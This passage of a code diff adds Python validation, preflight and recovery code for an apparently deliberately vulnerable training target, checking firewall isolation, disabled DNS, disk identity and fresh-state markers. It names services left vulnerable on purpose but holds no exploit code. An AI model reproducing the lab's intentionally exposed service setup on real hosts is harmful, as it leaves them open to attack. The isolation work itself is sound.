+    return value
+
+
+def canonical_json(value: Any) -> bytes:
+    return (
+        json.dumps(value, ensure_ascii=False, sort_keys=True, separators=(",", ":"))
+        + "\n"
+    ).encode("utf-8")
+
+
+def sha256_file(path: Path, chunk_size: int = 1024 * 1024) -> str:
+    digest = hashlib.sha256()
+    try:
+        with path.open("rb") as source:
+            while chunk := source.read(chunk_size):
+                digest.update(chunk)
+    except OSError as exc:
+        raise ContractError(f"cannot hash {path}: {exc}") from exc
+    return digest.hexdigest()
+
+
+def _require_string(value: Any, label: str) -> str:
+    if not isinstance(value, str) or not value.strip():
+        raise ContractError(f"{label} must be a non-empty string")
+    if any(marker in value for marker in PLACEHOLDER_MARKERS):
+        raise ContractError(f"{label} still contains a placeholder")
+    return value
+
+
+def _require_sha256(value: Any, label: str) -> str:
+    text = _require_string(value, label).lower()
+    if not SHA256_RE.fullmatch(text):
+        raise ContractError(f"{label} must be exactly 64 hexadecimal characters")
+    return text
+
+
+def validate_manifest(manifest: dict[str, Any]) -> None:
+    if manifest.get("schemaVersion") != 1:
+        raise ContractError("manifest schemaVersion must be 1")
+    if manifest.get("labId") != "examserver-open-world-v1":
+        raise ContractError("unexpected labId")
+
+    packages = manifest.get("packages")
+    if not isinstance(packages, list) or packages != sorted(set(packages)):
+        raise ContractError("manifest packages must be unique and sorted")
+
+    network = manifest.get("network")
+    if not isinstance(network, dict):
+        raise ContractError("manifest network must be an object")
+    if network.get("targetAddress") != "10.13.37.10/24":
+        raise ContractError("target address must remain 10.13.37.10/24")
+    if network.get("dnsListenerEnabled") is not False:
+        raise ContractError("target DNS listener must remain disabled")
+    if network.get("advertiseDnsServer") is not False:
+        raise ContractError("target DHCP must not advertise a DNS resolver")
+    if network.get("allowUpstreamDns") is not False:
+        raise ContractError("target must not allow upstream DNS")
+    if network.get("allowedTcpPorts") != [22, 80, 445, 2049, 8787]:
+        raise ContractError(
+            "target TCP ports must be exactly 22, 80, 445, 2049, and 8787"
+        )
+    if network.get("allowedUdpPorts") != [67]:
+        raise ContractError("target UDP ports must be exactly DHCP port 67")
+    for forbidden in (
+        "allowDefaultRoute",
+        "allowExternalDnsServers",
+        "allowIpv6",
+    ):
+        if network.get(forbidden) is not False:
+            raise ContractError(f"manifest {forbidden} must be false")
+
+    services = manifest.get("services")
+    if not isinstance(services, dict):
+        raise ContractError("manifest services must be an object")
+    expected_vulnerable = {
+        "apache2.service",
+        "nfs-server.service",
+        "open-world-root-timer.timer",
+        "smbd.service",
+        "ssh.service",
+    }
+    if set(services.get("vulnerable", [])) != expected_vulnerable:
+        raise ContractError("vulnerable service contract does not match the world")
+    expected_infrastructure = {
+        "dnsmasq.service",
+        "open-world-file-watch.service",
+        "open-world-nfs-watch.service",
+        "open-world-telemetry.service",
+    }
+    if set(services.get("exerciseInfrastructure", [])) != expected_infrastructure:
+        raise ContractError(
+            "exercise infrastructure contract does not match the world"
+        )
+    service_lists = (
+        services.get("vulnerable"),
+        services.get("exerciseInfrastructure"),
+        services.get("maintenanceConnectivity"),
+    )
+    if not all(isinstance(values, list) for values in service_lists):
+        raise ContractError("all service groups must be lists")
+    all_services = set().union(*service_lists)
+    providers = manifest.get("serviceProviders")
+    if not isinstance(providers, dict) or set(providers) != all_services:
+        raise ContractError("every required service must have exactly one provider")
+    for service, provider in providers.items():
+        if not isinstance(provider, dict):
+            raise ContractError(f"service provider must be an object: {service}")
+        if provider.get("kind") == "package":
+            if provider.get("name") not in packages:
+                raise ContractError(f"service package is not installed: {service}")
+        elif provider.get("kind") == "project":
+            _require_string(provider.get("owner"), f"service provider owner {service}")
+        else:
+            raise ContractError(f"unsupported service provider kind: {service}")
+
+    install_files = manifest.get("installFiles")
+    if not isinstance(install_files, list) or not install_files:
+        raise ContractError("manifest installFiles must be a non-empty list")
+    targets: set[str] = set()
+    for entry in install_files:
+        if not isinstance(entry, dict):
+            raise ContractError("each installFiles entry must be an object")
+        source = _require_string(entry.get("source"), "install source")
+        target = _require_string(entry.get("target"), "install target")
+        if Path(source).is_absolute() or ".." in Path(source).parts:
+            raise ContractError(f"install source must stay inside platform root: {source}")
+        if not target.startswith("/") or ".." in Path(target).parts:
+            raise ContractError(f"install target must be an absolute safe path: {target}")
+        if target in targets:
+            raise ContractError(f"duplicate install target: {target}")
+        targets.add(target)
+        if entry.get("mode") not in {"0600", "0644", "0755"}:
+            raise ContractError(f"unsupported install mode for {target}")
+
+
+def validate_profile(profile: dict[str, Any]) -> None:
+    if profile.get("schemaVersion") != 1:
+        raise ContractError("profile schemaVersion must be 1")
+    target = profile.get("target")
+    network = profile.get("network")
+    recovery = profile.get("recovery")
+    if not all(isinstance(item, dict) for item in (target, network, recovery)):
+        raise ContractError("profile target, network, and recovery must be objects")
+
+    disk_by_id = _require_string(target.get("diskById"), "target.diskById")
+    if not disk_by_id.startswith("/dev/disk/by-id/"):
+        raise ContractError("target.diskById must use a stable /dev/disk/by-id path")
+    _require_string(target.get("diskSerial"), "target.diskSerial")
+    _require_string(target.get("diskWwn"), "target.diskWwn")
+    if not isinstance(target.get("diskSizeBytes"), int) or target["diskSizeBytes"] <= 0:
+        raise ContractError("target.diskSizeBytes must be a positive integer")
+    for key in ("debianPartuuid", "espPartuuid", "windowsPartuuid"):
+        value = _require_string(target.get(key), f"target.{key}")
+        if not PARTUUID_RE.fullmatch(value):
+            raise ContractError(f"target.{key} has an invalid format")
+
+    wired_interface = _require_string(
+        network.get("wiredInterface"), "network.wiredInterface"
+    )
+    if not INTERFACE_RE.fullmatch(wired_interface) or wired_interface == "lo":
+        raise ContractError("network.wiredInterface is not a safe interface name")
+    mac = _require_string(network.get("wiredMac"), "network.wiredMac")
+    if not re.fullmatch(r"(?i)(?:[0-9a-f]{2}:){5}[0-9a-f]{2}", mac):
+        raise ContractError("network.wiredMac must be a six-byte MAC address")
+    maintenance_service = _require_string(
+        network.get("maintenanceConnectivityService"),
+        "network.maintenanceConnectivityService",
+    )
+    if maintenance_service != "NetworkManager.service":
+        raise ContractError(
+            "network.maintenanceConnectivityService must be "
+            "NetworkManager.service"
+        )
+
+    _require_string(recovery.get("kitId"), "recovery.kitId")
+    _require_string(recovery.get("mediaUuid"), "recovery.mediaUuid")
+    for key in ("goldenBtrfsStream", "debianEfiArchive", "bareMetalImage"):
+        asset = recovery.get(key)
+        if not isinstance(asset, dict):
+            raise ContractError(f"recovery.{key} must be an object")
+        relative_path = Path(_require_string(asset.get("path"), f"recovery.{key}.path"))
+        if relative_path.is_absolute() or ".." in relative_path.parts:
+            raise ContractError(f"recovery.{key}.path must stay inside recovery media")
+        _require_sha256(asset.get("sha256"), f"recovery.{key}.sha256")
+    golden_uuid = _require_string(
+        recovery["goldenBtrfsStream"].get("filesystemUuid"),
+        "recovery.goldenBtrfsStream.filesystemUuid",
+    )
+    if not UUID_RE.fullmatch(golden_uuid):
+        raise ContractError(
+            "recovery.goldenBtrfsStream.filesystemUuid must be a full UUID"
+        )
+    _require_sha256(
+        recovery.get("microsoftEfiTreeSha256"),
+        "recovery.microsoftEfiTreeSha256",
+    )
+
+
+def validate_profile_against_manifest(
+    manifest: dict[str, Any], profile: dict[str, Any]
+) -> None:
+    chosen = profile["network"]["maintenanceConnectivityService"]
+    if chosen not in manifest["services"]["maintenanceConnectivity"]:
+        raise ContractError(
+            "profile maintenanceConnectivityService is not allowlisted by manifest"
+        )
+
+
+def validate_required_packages(
+    manifest: dict[str, Any], inventory: dict[str, Any]
+) -> None:
+    observed = inventory.get("packages")
+    if not isinstance(observed, dict):
+        raise ContractError("installed package inventory is missing")
+    missing = [
+        package
+        for package in manifest["packages"]
+        if observed.get(package) is not True
+    ]
+    if missing:
+        raise ContractError(
+            "required Debian packages are not installed: "
+            + ", ".join(missing)
+        )
+
+
+def platform_identity_mismatches(
+    manifest: dict[str, Any], inventory: dict[str, Any]
+) -> list[str]:
+    observed = inventory.get("platformIdentity")
+    if not isinstance(observed, dict):
+        return ["live platform identity is missing"]
+    expected = {
+        "osId": "debian",
+        "osVersionId": manifest["debian"]["release"],
+        "dpkgArchitecture": manifest["debian"]["architecture"],
+        "kernelMachine": "x86_64",
+    }
+    return [
+        (
+            f"platform identity mismatch for {key}: "
+            f"expected {expected_value!r}, observed {observed.get(key)!r}"
+        )
+        for key, expected_value in expected.items()
+        if observed.get(key) != expected_value
+    ]
+
+
+def validate_platform_identity(
+    manifest: dict[str, Any], inventory: dict[str, Any]
+) -> None:
+    mismatches = platform_identity_mismatches(manifest, inventory)
+    if mismatches:
+        raise ContractError("; ".join(mismatches))
+
+
+def validate_exact_identity(
+    profile: dict[str, Any], inventory: dict[str, Any]
+) -> list[str]:
+    expected = profile["target"]
+    observed = inventory.get("targetDisk")
+    if not isinstance(observed, dict):
+        return ["inventory.targetDisk is missing"]
+
+    mismatches: list[str] = []
+    for key in ("diskById", "diskSerial", "diskWwn", "diskSizeBytes"):
+        if observed.get(key) != expected.get(key):
+            mismatches.append(
+                f"target identity mismatch for {key}: "
+                f"expected {expected.get(key)!r}, observed {observed.get(key)!r}"
+            )
+
+    partitions = inventory.get("partitions")
+    if not isinstance(partitions, dict):
+        return mismatches + ["inventory.partitions is missing"]
+    for label, profile_key in (
+        ("debian", "debianPartuuid"),
+        ("esp", "espPartuuid"),
+        ("windows", "windowsPartuuid"),
+    ):
+        observed_partition = partitions.get(label)
+        observed_partuuid = (
+            observed_partition.get("partuuid")
+            if isinstance(observed_partition, dict)
+            else None
+        )
+        if observed_partuuid != expected.get(profile_key):
+            mismatches.append(
+                f"partition identity mismatch for {label}: "
+                f"expected {expected.get(profile_key)!r}, "
+                f"observed {observed_partuuid!r}"
+            )
+    return mismatches
diff --git a/labs/open-world-target/platform/open_world_platform/preflight.py b/labs/open-world-target/platform/open_world_platform/preflight.py
new file mode 100644
index 0000000..be08f52
--- /dev/null
+++ b/labs/open-world-target/platform/open_world_platform/preflight.py
@@ -0,0 +1,685 @@
+from __future__ import annotations
+
+import ipaddress
+from dataclasses import asdict, dataclass
+from typing import Any
+
+from .model import (
+    ALWAYS_MASKED_UNITS,
+    FORBIDDEN_NETWORK_UNITS,
+    NFS_AUXILIARY_UNITS,
+    RAW_AUDIT_UNITS,
+    SECONDARY_NETWORK_OWNER_UNITS,
+    TRANSIENT_LAB_UNITS,
+    WINDOWS_MOUNT_UNIT,
+    platform_identity_mismatches,
+    validate_exact_identity,
+)
+
+
+@dataclass(frozen=True)
+class Issue:
+    code: str
+    detail: str
+
+    def to_dict(self) -> dict[str, str]:
+        return asdict(self)
+
+
+def _required_exercise_services(manifest: dict[str, Any]) -> list[str]:
+    services = manifest["services"]
+    return (
+        services["vulnerable"]
+        + services["exerciseInfrastructure"]
+        + ["open-world-telemetry.socket", WINDOWS_MOUNT_UNIT]
+    )
+
+
+def _all_exercise_services(manifest: dict[str, Any]) -> list[str]:
+    return _required_exercise_services(manifest) + list(TRANSIENT_LAB_UNITS)
+
+
+def _is_loopback_dns(value: str) -> bool:
+    try:
+        return ipaddress.ip_address(value).is_loopback
+    except ValueError:
+        return False
+
+
+def _network(inventory: dict[str, Any]) -> dict[str, Any]:
+    value = inventory.get("network")
+    return value if isinstance(value, dict) else {}
+
+
+def _services(inventory: dict[str, Any]) -> dict[str, str]:
+    value = inventory.get("services")
+    return value if isinstance(value, dict) else {}
+
+
+def _nfs_boundary_ready(inventory: dict[str, Any]) -> bool:
+    nfs = inventory.get("nfs")
+    unit_files = inventory.get("unitFiles")
+    firewall = _network(inventory).get("firewall")
+    services = _services(inventory)
+    return (
+        isinstance(nfs, dict)
+        and nfs.get("v4Only") is True
+        and nfs.get("nfsdPort") == 2049
+        and nfs.get("mountdPort") == 20048
+        and isinstance(unit_files, dict)
+        and all(
+            unit_files.get(unit) == "masked"
+            for unit in NFS_AUXILIARY_UNITS
+        )
+        and all(
+            services.get(unit) == "inactive"
+            for unit in NFS_AUXILIARY_UNITS
+        )
+        and isinstance(firewall, dict)
+        and 20048 in firewall.get("deniedInputTcpPorts", [])
+    )
+
+
+def _dnsmasq_lease_ready(inventory: dict[str, Any]) -> bool:
+    lease = inventory.get("dnsmasqLease")
+    if not isinstance(lease, dict):
+        return False
+    return lease.get("directory") == {
+        "path": "/run/open-world-dnsmasq",
+        "kind": "directory",
+        "owner": "dnsmasq",
+        "group": "root",
+        "mode": "0750",
+    } and lease.get("file") == {
+        "path": "/run/open-world-dnsmasq/dnsmasq.leases",
+        "kind": "file",
+        "owner": "dnsmasq",
+        "group": "root",
+        "mode": "0640",
+    }
+
+
+def _expected_dnsmasq_directives(
+    manifest: dict[str, Any], profile: dict[str, Any]
+) -> list[str]:
+    wired = profile["network"]["wiredInterface"]
+    return sorted(
+        [
+            f"interface={wired}",
+            "except-interface=lo",
+            "bind-interfaces",
+            "port=0",
+            "dhcp-authoritative",
+            "dhcp-range=10.13.37.100,10.13.37.199,255.255.255.0,1h",
+            "dhcp-option=3",
+            "dhcp-option=6",
+            "dhcp-leasefile=/run/open-world-dnsmasq/dnsmasq.leases",
+            "log-dhcp",
+        ]
+    )
+
+
+def _dnsmasq_policy_ready(
+    manifest: dict[str, Any],
+    profile: dict[str, Any],
+    inventory: dict[str, Any],
+) -> bool:
+    policy = inventory.get("dnsmasqPolicy")
+    return isinstance(policy, dict) and policy == {
+        "serviceOverrideDirectives": sorted(
+            [
+                "[Unit]",
+                "PartOf=open-world-vulnerable.target",
+                "[Service]",
+                "ExecStartPre=",
+                (
+                    "ExecStartPre=/usr/sbin/dnsmasq --test "
+                    "--conf-file=/etc/dnsmasq.d/open-world-lab.conf"
+                ),
+                "ExecStart=",
+                (
+                    "ExecStart=/usr/sbin/dnsmasq "
+                    "--user=dnsmasq "
+                    "--conf-file=/etc/dnsmasq.d/open-world-lab.conf "
+                    "--pid-file=/run/dnsmasq/dnsmasq.pid"
+                ),
+                "ExecStartPost=",
+                "ExecStop=",
+                "RuntimeDirectory=dnsmasq",
+                "RuntimeDirectoryMode=0755",
+            ]
+        ),
+        "labDirectives": _expected_dnsmasq_directives(
+            manifest, profile
+        ),
+    }
+
+
+def _dns_listeners_disabled(inventory: dict[str, Any]) -> bool:
+    listeners = _network(inventory).get("listeners", [])
+    if not isinstance(listeners, list):
+        return False
+    return not any(
+        isinstance(item, dict) and item.get("port") == 53
+        for item in listeners
+    )
+
+
+def _masked_and_inactive(
+    inventory: dict[str, Any], units: tuple[str, ...]
+) -> bool:
+    unit_files = inventory.get("unitFiles")
+    services = _services(inventory)
+    return (
+        isinstance(unit_files, dict)
+        and all(unit_files.get(unit) == "masked" for unit in units)
+        and all(services.get(unit) == "inactive" for unit in units)
+    )
+
+
+def _windows_mount_ready(
+    profile: dict[str, Any], inventory: dict[str, Any]
+) -> bool:
+    mount = inventory.get("windowsMount")
+    partitions = inventory.get("partitions")
+    windows = (
+        partitions.get("windows")
+        if isinstance(partitions, dict)
+        else None
+    )
+    if not isinstance(mount, dict) or not isinstance(windows, dict):
+        return False
+    options = mount.get("options")
+    required_options = {"ro", "nosuid", "nodev", "noexec"}
+    return (
+        mount.get("sourceDevice") == windows.get("device")
+        and mount.get("target") == "/mnt/windows"
+        and mount.get("filesystemType") == "ntfs3"
+        and mount.get("partuuid") == profile["target"]["windowsPartuuid"]
+        and isinstance(options, list)
+        and required_options.issubset(options)
+        and "rw" not in options
+    )
+
+
+def evaluate_host_binding(
+    manifest: dict[str, Any],
+    profile: dict[str, Any],
+    inventory: dict[str, Any],
+) -> list[Issue]:
+    issues: list[Issue] = []
+    for detail in platform_identity_mismatches(manifest, inventory):
+        issues.append(Issue("host.platform-identity", detail))
+    boot_environment = inventory.get("bootEnvironment")
+    if boot_environment not in {
+        "installed-debian",
+        "installed-debian-maintenance",
+    }:
+        issues.append(
+            Issue(
+                "host.boot-environment",
+                "mode operation requires the installed target Debian",
+            )
+        )
+    for detail in validate_exact_identity(profile, inventory):
+        issues.append(Issue("host.target-identity", detail))
+    partitions = inventory.get("partitions")
+    root = inventory.get("rootFilesystem")
+    debian = (
+        partitions.get("debian")
+        if isinstance(partitions, dict)
+        else None
+    )
+    if (
+        not isinstance(root, dict)
+        or not isinstance(debian, dict)
+        or root.get("sourceDevice") != debian.get("device")
+        or root.get("target") != "/"
+        or "/" not in (debian.get("mountpoints") or [])
+    ):
+        issues.append(
+            Issue(
+                "host.root-partition",
+                "live / is not the profile Debian PARTUUID partition",
+            )
+        )
+    return issues
+
+
+def evaluate_connectivity_clean_state(
+    profile: dict[str, Any],
+    inventory: dict[str, Any],
+) -> list[Issue]:
+    trusted_state = inventory.get("trustedState")
+    if not isinstance(trusted_state, dict):
+        return [
+            Issue(
+                "state.trust-unknown",
+                "trusted fresh-state evidence is missing; recovery is required",
+            )
+        ]
+    marker = trusted_state.get("freshMarker")
+    issues: list[Issue] = []
+    wired_name = profile["network"]["wiredInterface"]
+    network = _network(inventory)
+    interfaces = network.get("interfaces")
+    wired = next(
+        (
+            item
+            for item in interfaces
+            if isinstance(item, dict) and item.get("name") == wired_name
+        ),
+        None,
+    ) if isinstance(interfaces, list) else None
+    if not isinstance(wired, dict):
+        issues.append(
+            Issue(
+                "connectivity.wired-missing",
+                f"direct-link interface {wired_name} was not observed",
+            )
+        )
+    else:
+        if wired.get("up") is not False:
+            issues.append(
+                Issue(
+                    "connectivity.wired-up",
+                    f"{wired_name} must be administratively down",
+                )
+            )
+        if wired.get("carrier") is not False:
+            issues.append(
+                Issue(
+                    "connectivity.wired-carrier",
+                    f"{wired_name} must be physically unplugged with no carrier",
+                )
+            )
+        if wired.get("addresses") != []:
+            issues.append(
+                Issue(
+                    "connectivity.wired-address",
+                    f"{wired_name} must have no addresses",
+                )
+            )
+    nm_policy = network.get("networkManager")
+    if (
+        not isinstance(nm_policy, dict)
+        or nm_policy.get("wiredInterface") != wired_name
+        or nm_policy.get("unmanagedConfigExact") is not True
+    ):
+        issues.append(
+            Issue(
+                "connectivity.wired-managed-policy",
+                f"NetworkManager must explicitly leave {wired_name} unmanaged",
+            )
+        )
+    if (
+        _services(inventory).get("NetworkManager.service") == "active"
+        and (
+            not isinstance(nm_policy, dict)
+            or nm_policy.get("runtimeManaged") is not False
+        )
+    ):
+        issues.append(
+            Issue(
+                "connectivity.wired-managed-runtime",
+                f"active NetworkManager has not proven {wired_name} unmanaged",
+            )
+        )
+    if marker != {
+        "path": "/var/lib/examserver-open-world/fresh-state.json",
+        "kind": "file",
+        "uid": 0,
+        "mode": "0400",
+        "contentValid": True,
+    }:
+        issues.append(
+            Issue(
+                "state.fresh-marker",
+                "trusted fresh-state marker is absent or invalid; recovery is required",
+            )
+        )
+    artifacts = trusted_state.get("sessionArtifactsPresent")
+    if artifacts != []:
+        issues.append(
+            Issue(
+                "state.session-residue",
+                f"past/current exercise state exists; recovery is required: {artifacts!r}",
+            )
+        )
+    return issues
+
+
+def evaluate_exercise(
+    manifest: dict[str, Any],
+    profile: dict[str, Any],
+    inventory: dict[str, Any],
+    *,
+    require_services: bool,
+) -> list[Issue]:
+    network = _network(inventory)
+    issues = evaluate_host_binding(manifest, profile, inventory)
+    collection_errors = inventory.get("collectionErrors", [])
+    if collection_errors:
+        issues.append(
+            Issue(
+                "inventory.incomplete",
+                f"inventory collection was incomplete: {collection_errors!r}",
+            )
+        )
+    wired_name = profile["network"]["wiredInterface"]
+    expected_address = manifest["network"]["targetAddress"]
+    interfaces = network.get("interfaces", [])
+    if not isinstance(interfaces, list):
+        interfaces = []
+    by_name = {
+        item.get("name"): item
+        for item in interfaces
+        if isinstance(item, dict) and isinstance(item.get("name"), str)
+    }
+    wired = by_name.get(wired_name)
+    if not wired:
+        issues.append(Issue("wired.missing", f"{wired_name} was not observed"))
+    else:
+        if wired.get("kind") != "ethernet":
+            issues.append(Issue("wired.kind", f"{wired_name} is not Ethernet"))
+        if str(wired.get("mac", "")).lower() != profile["network"][
+            "wiredMac"
+        ].lower():
+            issues.append(Issue("wired.mac", f"{wired_name} MAC address does not match"))
+        if wired.get("up") is not True or wired.get("carrier") is not True:
+            issues.append(Issue("wired.link", f"{wired_name} is not up with carrier"))
+        addresses = wired.get("addresses", [])
+        if addresses != [expected_address]:
+            issues.append(
+                Issue(
+                    "wired.address",
+                    f"{wired_name} must have only {expected_address}; observed {addresses!r}",
+                )
+            )
+
+    for interface in interfaces:
+        if not isinstance(interface, dict):
+            continue
+        name = interface.get("name")
+        if name not in {"lo", wired_name} and (
+            interface.get("up") is True or interface.get("carrier") is True
+        ):
+            issues.append(
+                Issue("interface.extra-active", f"unexpected active interface {name}")
+            )
+        if interface.get("kind") in {"wifi", "wwan", "bluetooth"} and (
+            interface.get("radioBlocked") is not True
+        ):
+            issues.append(Issue("radio.unblocked", f"{name} radio is not blocked"))
+
+    radio = network.get("radio")
+    if not isinstance(radio, dict):
+        issues.append(Issue("radio.unknown", "rfkill inventory is missing"))
+    else:
+        for radio_name in ("wifi", "wwan", "bluetooth"):
+            if radio.get(radio_name) is False:
+                issues.append(
+                    Issue("radio.unblocked", f"{radio_name} radio is not blocked")
+                )
+
+    if network.get("defaultRoutesV4", []) != []:
+        issues.append(Issue("route.ipv4-default", "an IPv4 default route exists"))
+    if network.get("defaultRoutesV6", []) != []:
+        issues.append(Issue("route.ipv6-default", "an IPv6 default route exists"))
+    external_dns = [
+        value
+        for value in network.get("dnsServers", [])
+        if isinstance(value, str)
+        and not _is_loopback_dns(value)
+    ]
+    if external_dns:
+        issues.append(
+            Issue("dns.external", f"external DNS servers remain: {external_dns!r}")
+        )
+    if network.get("ipv4Forwarding") is not False:
+        issues.append(Issue("forwarding.ipv4", "IPv4 forwarding is not disabled"))
+    if network.get("ipv6Disabled") is not True:
+        issues.append(Issue("ipv6.enabled", "IPv6 is not disabled"))
+    firewall = network.get("firewall", {})
+    if not isinstance(firewall, dict):
+        firewall = {}
+    if firewall.get("table") != "open_world_lab":
+        issues.append(Issue("firewall.table", "exercise firewall table is not active"))
+    if firewall.get("inputPolicy") != "drop":
+        issues.append(Issue("firewall.input", "input policy is not drop"))
+    if firewall.get("forwardPolicy") != "drop":
+        issues.append(Issue("firewall.forward", "forward policy is not drop"))
+    if firewall.get("outputPolicy") != "drop":
+        issues.append(Issue("firewall.output", "output policy is not drop"))
+    if firewall.get("allowedOutputCidrs") != [manifest["network"]["subnet"]]:
+        issues.append(
+            Issue("firewall.egress", "output is not limited to the direct-link subnet")
+        )
+
+    allowed = {
+        ("tcp", port) for port in manifest["network"]["allowedTcpPorts"]
+    } | {("udp", port) for port in manifest["network"]["allowedUdpPorts"]}
+    for listener in network.get("listeners", []):
+        if not isinstance(listener, dict):
+            continue
+        address = listener.get("address")
+        if isinstance(address, str):
+            try:
+                if ipaddress.ip_address(address).is_loopback:
+                    continue
+            except ValueError:
+                pass
+        key = (listener.get("protocol"), listener.get("port"))
+        protected_mountd = key == ("tcp", 20048) and _nfs_boundary_ready(
+            inventory
+        )
+        if key not in allowed and not protected_mountd:
+            issues.append(
+                Issue(
+                    "listener.unexpected",
+                    f"unapproved listener {listener.get('protocol')}/"
+                    f"{listener.get('port')} on {address}",
+                )
+            )
+        if address not in {"0.0.0.0", "10.13.37.10"}:
+            issues.append(
+                Issue(
+                    "listener.binding",
+                    f"listener is bound outside loopback/target address: {address}",
+                )
+            )
+
+    services = _services(inventory)
+    if not _masked_and_inactive(inventory, FORBIDDEN_NETWORK_UNITS):
+        issues.append(
+            Issue(
+                "service.forbidden-network-unit",
+                "nmbd.service must remain masked and inactive; the lab exposes "
+                "SMB only through smbd on TCP/445",
+            )
+        )
+    if not _masked_and_inactive(inventory, RAW_AUDIT_UNITS):
+        issues.append(
+            Issue(
+                "privacy.raw-audit-active",
+                "auditd and systemd-journald-audit.socket must remain "
+                "masked and inactive; fixed-path inotify is the only "
+                "flag-read detector",
+            )
+        )
+    if not _masked_and_inactive(
+        inventory, SECONDARY_NETWORK_OWNER_UNITS
+    ):
+        issues.append(
+            Issue(
+                "network.secondary-owner",
+                "systemd-networkd must remain masked and inactive; "
+                "the mode controller is the sole Ethernet owner",
+            )
+        )
+    for service in manifest["services"]["maintenanceConnectivity"]:
+        if services.get(service) != "inactive":
+            issues.append(
+                Issue(
+                    "service.connectivity-active",
+                    f"maintenance connectivity service is not proven inactive: {service}",
+                )
+            )
+    if not _nfs_boundary_ready(inventory):
+        issues.append(
+            Issue(
+                "nfs.boundary",
+                "NFS requires v4-only fixed ports, masked rpcbind, and "
+                "an explicit mountd/20048 firewall deny",
+            )
+        )
+    if not _dnsmasq_lease_ready(inventory):
+        issues.append(
+            Issue(
+                "dnsmasq.lease-permissions",
+                "dnsmasq requires its dedicated lease directory/file owned by "
+                "dnsmasq:root with modes 0750/0640",
+            )
+        )
+    if not _dnsmasq_policy_ready(manifest, profile, inventory):
+        issues.append(
+            Issue(
+                "dnsmasq.dhcp-only-policy",
+                "dnsmasq must provide direct-link DHCP only, disable its DNS "
+                "listener, omit router and DNS resolver advertisements, and "
+                "have no upstream resolver",
+            )
+        )
+    if require_services:
+        if not _dns_listeners_disabled(inventory):
+            issues.append(
+                Issue(
+                    "dnsmasq.listener",
+                    "dnsmasq DNS must remain disabled with no TCP/UDP 53 "
+                    "listener",
+                )
+            )
+        if not _windows_mount_ready(profile, inventory):
+            issues.append(
+                Issue(
+                    "windows.mount",
+                    "the exact Windows PARTUUID must be mounted at /mnt/windows "
+                    "as ntfs3 with ro,nosuid,nodev,noexec",
+                )
+            )
+        for service in _required_exercise_services(manifest):
+            if services.get(service) != "active":
+                issues.append(
+                    Issue(
+                        "service.exercise-inactive",
+                        f"required exercise service is not active: {service}",
+                    )
+                )
+        if inventory.get("markers", {}).get("exerciseReady") is not True:
+            issues.append(
+                Issue("marker.exercise", "exercise-ready marker is not present")
+            )
+    return issues
+
+
+def evaluate_maintenance(
+    manifest: dict[str, Any],
+    profile: dict[str, Any],
+    inventory: dict[str, Any],
+    *,
+    connectivity_may_be_enabled: bool,
+) -> list[Issue]:
+    issues = evaluate_host_binding(manifest, profile, inventory)
+    collection_errors = inventory.get("collectionErrors", [])
+    if collection_errors:
+        issues.append(
+            Issue(
+                "inventory.incomplete",
+                f"inventory collection was incomplete: {collection_errors!r}",
+            )
+        )
+    services = _services(inventory)
+    for service in _all_exercise_services(manifest):
+        if services.get(service) != "inactive":
+            issues.append(
+                Issue(
+                    "service.exercise-active",
+                    f"exercise service is not proven inactive: {service}",
+                )
+            )
+    for forbidden_unit in ALWAYS_MASKED_UNITS:
+        if services.get(forbidden_unit) != "inactive":
+            issues.append(
+                Issue(
+                    "service.forbidden-unit-active",
+                    f"{forbidden_unit} must be observably inactive",
+                )
+            )
+    unit_files = inventory.get("unitFiles")
+    for forbidden_unit in ALWAYS_MASKED_UNITS:
+        if (
+            not isinstance(unit_files, dict)
+            or unit_files.get(forbidden_unit) != "masked"
+        ):
+            issues.append(
+                Issue(
+                    "service.forbidden-unit-unmasked",
+                    f"{forbidden_unit} must remain masked",
+                )
+            )
+    if inventory.get("markers", {}).get("exerciseReady") is True:
+        issues.append(Issue("marker.exercise", "exercise-ready marker still exists"))
+
+    network = _network(inventory)
+    wired_name = profile["network"]["wiredInterface"]
+    for interface in network.get("interfaces", []):
+        if (
+            isinstance(interface, dict)
+            and interface.get("name") == wired_name
+            and manifest["network"]["targetAddress"] in interface.get("addresses", [])
+        ):
+            issues.append(
+                Issue("wired.exercise-address", "exercise address remains configured")
+            )
+    if not connectivity_may_be_enabled:
+        for service in manifest["services"]["maintenanceConnectivity"]:
+            if services.get(service) != "inactive":
+                issues.append(
+                    Issue(
+                        "service.connectivity-active",
+                        f"maintenance connectivity is not proven inactive: {service}",
+                    )
+                )
+        firewall = network.get("firewall", {})
+        if not isinstance(firewall, dict) or firewall.get("table") != (
+            "open_world_quarantine"
+        ):
+            issues.append(
+                Issue("firewall.quarantine", "maintenance quarantine is not active")
+            )
+        if network.get("defaultRoutesV4", []) != []:
+            issues.append(
+                Issue("route.ipv4-default", "maintenance quarantine has a default route")
+            )
+        if network.get("defaultRoutesV6", []) != []:
+            issues.append(
+                Issue("route.ipv6-default", "maintenance quarantine has a default route")
+            )
+    else:
+        chosen = profile["network"]["maintenanceConnectivityService"]
+        if services.get(chosen) != "active":
+            issues.append(
+                Issue(
+                    "service.connectivity-inactive",
+                    f"selected maintenance connectivity service is not active: {chosen}",
+                )
+            )
+    return issues
+
+
+def result(mode: str, issues: list[Issue]) -> dict[str, Any]:
+    return {
+        "mode": mode,
+        "passed": not issues,
+        "issues": [issue.to_dict() for issue in issues],
+    }
diff --git a/labs/open-world-target/platform/open_world_platform/recovery.py b/labs/open-world-target/platform/open_world_platform/recovery.py
new file mode 100644
index 0000000..5a24b0c
--- /dev/null
+++ b/labs/open-world-target/platform/open_world_platform/recovery.py
@@ -0,0 +1,644 @@
+from __future__ import annotations
+
+import hashlib
+import os
+import re
+import shutil
+import subprocess
+import tarfile
+import tempfile
+from dataclasses import dataclass
+from pathlib import Path, PurePosixPath
+from typing import Any, BinaryIO, Callable
+
+from .model import (
+    ContractError,
+    load_json,
+    sha256_file,
+    validate_exact_identity,
+    validate_profile,
+)
+
+
+@dataclass(frozen=True)
+class RecoveryRequest:
+    operation: str
+    disk_by_id: str
+    debian_partuuid: str
+    esp_partuuid: str
+    windows_partuuid: str
+    image_sha256: str
+    efi_sha256: str | None
+    confirmation: str
+
+
+@dataclass(frozen=True)
+class RecoveryContext:
+    recovery_mount: Path
+    marker_path: Path
+    image_path: Path
+    efi_archive_path: Path | None
+    target_disk_device: str
+    debian_device: str
+    esp_device: str
+    windows_device: str
+
+
+def _require_under(path: Path, parent: Path, label: str) -> Path:
+    try:
+        resolved_parent = parent.resolve(strict=True)
+        if path.is_symlink():
+            raise ContractError(f"{label} must not be a symlink")
+        resolved = path.resolve(strict=True)
